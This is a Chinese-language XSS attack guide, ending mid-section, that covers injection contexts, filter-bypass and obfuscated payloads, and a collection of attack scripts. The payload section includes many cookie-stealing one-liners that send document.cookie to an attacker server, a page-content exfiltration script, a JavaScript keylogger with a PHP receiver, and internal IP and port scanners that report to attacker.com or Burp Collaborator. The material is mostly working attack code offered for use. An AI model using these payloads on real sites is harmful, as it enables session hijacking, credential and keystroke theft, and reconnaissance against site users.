【Web漏洞指南】XSS漏洞详细指南
- 概述
- XSS的三种类型
- 执行任意 JS 代码的方式
- 在原始HTML中注入绕过手法
- 在 HTML标记内注入绕过手法
- 在JavaScript代码中注入绕过手法
- 其他绕过手法
- XSS常见有效载荷
- 检索Cookies
- 窃取页面内容
- 键盘记录器
- 查找内部IP地址
- 端口扫描器
- 自动填充密码捕获
- 窃取 PostMessage 消息
- 窃取 CSRF 令牌
- XSS Fuzz payload
概述
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者通过在网页上注入恶意脚本代码,从而在用户的浏览器上执行恶意操作。这些脚本可以是 JavaScript、HTML 或其他网页脚本语言。一旦用户在受感染的网页上进行交互,如点击链接或填写表单,恶意脚本就会在用户浏览器上执行,从而导致多种安全问题,包括但不限于:
- 窃取用户信息:攻击者可以利用 XSS 漏洞窃取用户的敏感信息,如用户会话 cookie、登录凭证等。
- 会话劫持:通过获取用户的会话信息,攻击者可以冒充合法用户,执行未授权的操作。
- 网页篡改:攻击者可以修改网页内容,显示虚假信息,诱导用户点击恶意链接或下载恶意文件。
- 钓鱼攻击:攻击者可以伪装成合法网站或服务,诱骗用户输入敏感信息,如用户名、密码、信用卡信息等。
XSS 漏洞通常出现在没有充分验证用户输入的地方,比如网站的搜索框、评论区、表单提交等。预防 XSS 攻击的方法包括对用户输入进行严格过滤和转义,使用安全的开发框架和编程语言,以及定期对网站进行安全审计和漏洞扫描。
XSS的三种类型
要成功利用 XSS,首先需要找到的是在网页中反映您控制的值,这个值有三种类型:
- 中间反射:如果参数的值甚至路径的值在网页中反映,可以利用反射型 XSS。
- 存储和反射:如果发现控制的值已保存在服务器中,并且每次访问页面时都会反映,可以利用存储型 XSS。
- 通过 JS 访问:如果发现控制的值正在使用 JS 访问,您可以利用DOM XSS。
执行任意 JS 代码的方式
1、原始 HTML
如果输入在原始 HTML页面上反映,可以直接用一些 HTML 标签以执行 JS 代码:<img , <iframe , <svg , <script ...
2、在 HTML 标签属性内部
- 从属性和标签中闭合逃脱并创建新的 HTML 标签以滥用,例如:
"><img [...]
- 如果可以从属性中逃脱但无法从标签中逃脱(
>
被编码或删除),取决于标签,您可以创建执行 JS 代码的事件:" autofocus onfocus=alert(1) x="
- 如果无法从属性中逃脱(
"
被编码或删除),则取决于您的值反映在哪个属性中(您是否控制所有值或仅部分值),您将能够滥用它。例如,如果您控制像onclick=
这样的事件,您将能够使其在单击时执行任意代码。另一个有趣的例子是属性 href,您可以使用javascript:
协议来执行任意代码:href="javascript:alert(1)"
- 如果您控制类名,Angular 执行 XSS 的奇怪示例:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
3、JavaScript 代码内部
输入被反射在 HTML 页面的 <script> [...] </script>
标签之间;在一个 .js
文件内部;或者在使用 javascript:
协议的属性内部:
- 如果被反射在
<script> [...] </script>
标签之间,可以尝试注入</script>
并从这个上下文中逃逸。 - 如果被反射在模板文字内部,您可以使用
${ ... }
语法嵌入 JS 表达式:
var greetings = `Hello, ${alert(1)}`
- Unicode 编码可用于编写有效的 JavaScript 代码:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
4、JavaScript 函数
一些网页端点接受函数名称作为参数来执行。在实际中常见的示例是类似这样的:?callback=callbackFunc
要找出用户直接提供的内容是否尝试执行,一个好方法是修改参数值(例如改为 ‘Vulnerable
’),然后在控制台中查看是否有错误
如果存在漏洞,您可以通过发送值 ?callback=alert(1)
来触发警报
在原始HTML中注入绕过手法
1、直接攻击法
如果没有使用黑名单/白名单,可以使用如下有效负载,然后查看弹窗是否触发:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg οnlοad=alert('XSS')>
2、针对标签/事件的暴力破解
xss-payload.txt
前往https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,点击复制标签payload到剪贴板。然后,使用Burp Intruder发送所有标签,并检查WAF是否将任何标签识别为恶意:
3、自定义标签绕过
假如所有HTML标签都被过滤,可以尝试自定义标签来进行绕过
锚点:#
可以迅速定位到某个id或者class的位置,只要能让锚点指向到我们自定义标签,然后在自定义标签当中写入onfocus
事件就可以直接完成XSS,例如:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
4、黑名单绕过
如果使用了某种黑名单,您可以尝试使用以下的技巧来绕过它:
- 随机大小写
<ScrIpT>
<ImG>
- 双标记,以防仅删除第一个匹配项
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
- 使用意外的父标签
<svg><x><script>alert('1')</x>
- 不关闭标签,以“
<
”或“//
”结尾
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
- 双写开放尖角号
<<script>alert("XSS");//<</script>
- 使用 ``代替括号
onerror=alert`1`
- 多种绕过方法混合使用,例如:
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUsonFoCUS=alert`1` //
在 HTML标记内注入绕过手法
1、在标记内部/从属性值中逃逸
如果无法从标记中逃逸,您可以在标记内部创建新属性,尝试执行 JS 代码:
" autofocus οnfοcus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x
还可以使用样式事件来绕过:
<!-- 应用了一个名为 x 的 CSS 动画。当动画开始时,onanimationstart 事件被触发,其中包含一个空的 alert() 函数调用。这意味着一旦这个元素开始动画,就会触发一个警示框弹窗 -->
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
<!-- payload 会注入一个不可见的覆盖层,如果单击页面上的任何位置,该覆盖层将触发有效负载 -->
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
<!-- 将鼠标移动到页面上的任意位置触发payload -->
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
2、在属性内部绕过
即使你无法从属性中逃脱("
被编码或删除),取决于值被反射到哪个属性,如果你控制所有值或只是一部分,你将能够滥用它。例如,如果你控制像 onclick=
这样的事件,你将能够使其在被点击时执行任意代码。另一个有趣的例子是属性 href,你可以使用 javascript:
协议来执行任意代码:href="javascript:alert(1)"
- HTML 编码绕过
请注意任何类型的 HTML 编码都是有效的:
'-alert(1)-'
'-alert(1)-'
'-alert(1)-'
'-alert(1)-'
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
- URL编码绕过
<a href="https://example.com/lol%22οnmοuseοver=%22prompt(1);%20img.png">Click</a>
- Unicode编码绕过
<!-- 由于某种原因,您可以使用 unicode 来编码“alert”,但不能编码“(1)” -->
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
3、利用属性中的特殊协议
可以使用协议javascript:
或data:
来执行任意的JS代码:
javascript:
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java # 空一行
script:alert(1)
data:
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
小技巧:使用十六进制和八进制编码
<!-- Encoded: <svg οnlοad=alert(1)> -->
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
4、on事件处理程序绕过
如果存在某些黑名单阻止您创建事件处理程序,您可以尝试以下绕过方法:
<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
在JavaScript代码中注入绕过手法
1、关闭<script>
标记
</script><img src=1 onerror=alert(document.domain)>
2、在JS代码内部转义字符串
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
3、利用模板文字 为了构建字符串,除了单引号和双引号外,JS还接受反引号
。这被称为模板文字,因为它们允许使用${ ... }
语法嵌入JS表达式。因此,如果您发现您的输入被反射在使用反引号的JS字符串中,您可以滥用${ ... }
语法来执行任意JS代码:
可以通过以下方式滥用:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
4、Unicode编码JS执行
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
其他绕过手法
1、特殊组合
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg οnlοad=alert(1)//
<img src="/" =_=" title="οnerrοr='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svgοnlοad=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"οnerrοr=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
2、xml 内容类型
如果页面返回 text/xml 内容类型,可以指定一个命名空间并执行任意 JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
3、混淆和高级绕过
<!-- Katana -->
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
<!-- JJencode -->
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<!-- JSFuck -->
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
<!-- aaencode -->
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
XSS常见有效载荷
检索Cookies
<img src=x οnerrοr=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
窃取页面内容
// 定义目标URL,这是我们想要获取数据的目标
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
// 定义攻击者的URL,这是我们想要发送窃取的数据的地方
var attacker = "http://10.10.14.8/exfil";
// 创建XMLHttpRequest对象,用于向目标URL发送GET请求
var xhr = new XMLHttpRequest();
// 当XMLHttpRequest对象的状态发生变化时,触发此函数
xhr.onreadystatechange = function() {
// 如果XMLHttpRequest对象的状态变为DONE(即4),表示请求已完成
if (xhr.readyState == XMLHttpRequest.DONE) {
// 使用fetch API向攻击者的服务器发送窃取的数据
// 数据被Base64编码和URL编码后作为查询参数传递给攻击者的服务器
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
// 打开一个GET请求,向目标URL发送请求
xhr.open('GET', url, true);
// 发送GET请求
xhr.send(null);
键盘记录器
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- 还可以使用 metasploit
http_javascript_keylogger
// 定义存储按键记录的变量
var keys = '';
// 定义要发送按键记录的URL
var url = 'http://HACKERS/forum/system/keylogger.php?c=';
// 监听键盘按键事件,将按下的按键记录下来
document.onkeypress = function(e) {
// 获取键盘事件对象
get = window.event ? event : e;
// 获取按键的键码
key = get.keyCode ? get.keyCode : get.charCode;
// 将键码转换为字符
key = String.fromCharCode(key);
// 将按键记录添加到keys变量中
keys += key;
}
// 每隔一段时间发送一次按键记录
window.setInterval(function() {
// 如果有按键记录
if(keys.length > 0) {
// 创建一个Image对象,并设置其src属性为包含按键记录的URL
new Image().src = url + keys;
// 清空按键记录
keys = '';
}
}, 1000); // 设置发送间隔为1000毫秒(即每秒发送一次)
黑客远端的恶意php接收脚本:
<?php
// 设置404 Not Found的HTTP响应头
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
// 设置允许的请求方法和跨域请求的允许
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
// 定义要记录数据的文件名
$file = 'data.txt';
// 如果收到了名为"c"的请求参数且不为空,则将其内容追加到名为"data.txt"的文件中,并返回"LOGGED!"
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
// 将数据写入文件
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
// 返回"LOGGED!"
printf("LOGGED!");
}
?>
查找内部IP地址
<script>
// 定义要扫描的IP地址数组
var q = [];
// 设置Burp Collaborator的URL
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
// 定义等待时间和线程数
var wait = 2000;
var n_threads = 51;
// 准备fetchUrl函数以访问所有可能的URL
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080')
);
}
// 启动n_threads个线程,调用fetchUrl函数直到q数组为空
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
// 定义fetchUrl函数,发送fetch请求并将结果发送到Burp Collaborator
function fetchUrl(url, wait){
console.log(url);
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
// 设置超时,中止请求
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
端口扫描器
/*
以下是一个利用fetch API发送跨域请求的示例:
- 定义了一个名为checkPort的函数,用于检查指定端口是否可访问。
- 使用fetch函数向指定端口发送GET请求,设置了mode为"no-cors"以禁用CORS策略。
- 当请求完成后,会创建一个img元素,其src属性指向攻击者控制的站点,携带了端口号信息。
- 在循环中调用checkPort函数,以检查从0到999的所有端口是否可访问。
这段代码的目的可能是通过检查端口来寻找可能存在的漏洞或开放的服务,并将结果发送给攻击者的服务器。
*/
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
通过websockets实现端口扫描的例子:
/*
以下是一个尝试检查指定端口的WebSocket连接情况的示例:
- 定义了一个包含要检查的端口号的数组ports。
- 使用循环遍历ports数组中的每个端口号。
- 创建一个WebSocket对象s,连接到指定IP地址和端口。
- 在WebSocket对象上设置了start属性为当前时间,用于记录连接开始的时间。
- 设置了端口号和错误处理器。当WebSocket连接发生错误时,会记录错误并打印出端口号和连接时间。
- 设置了端口号和连接成功处理器。当WebSocket连接成功时,会记录成功的端口号并打印出连接时间。
这段代码的目的可能是检查指定的端口是否开放,并记录连接时间,以便分析网络设备的状态或执行其他网络相关的任务。
*/
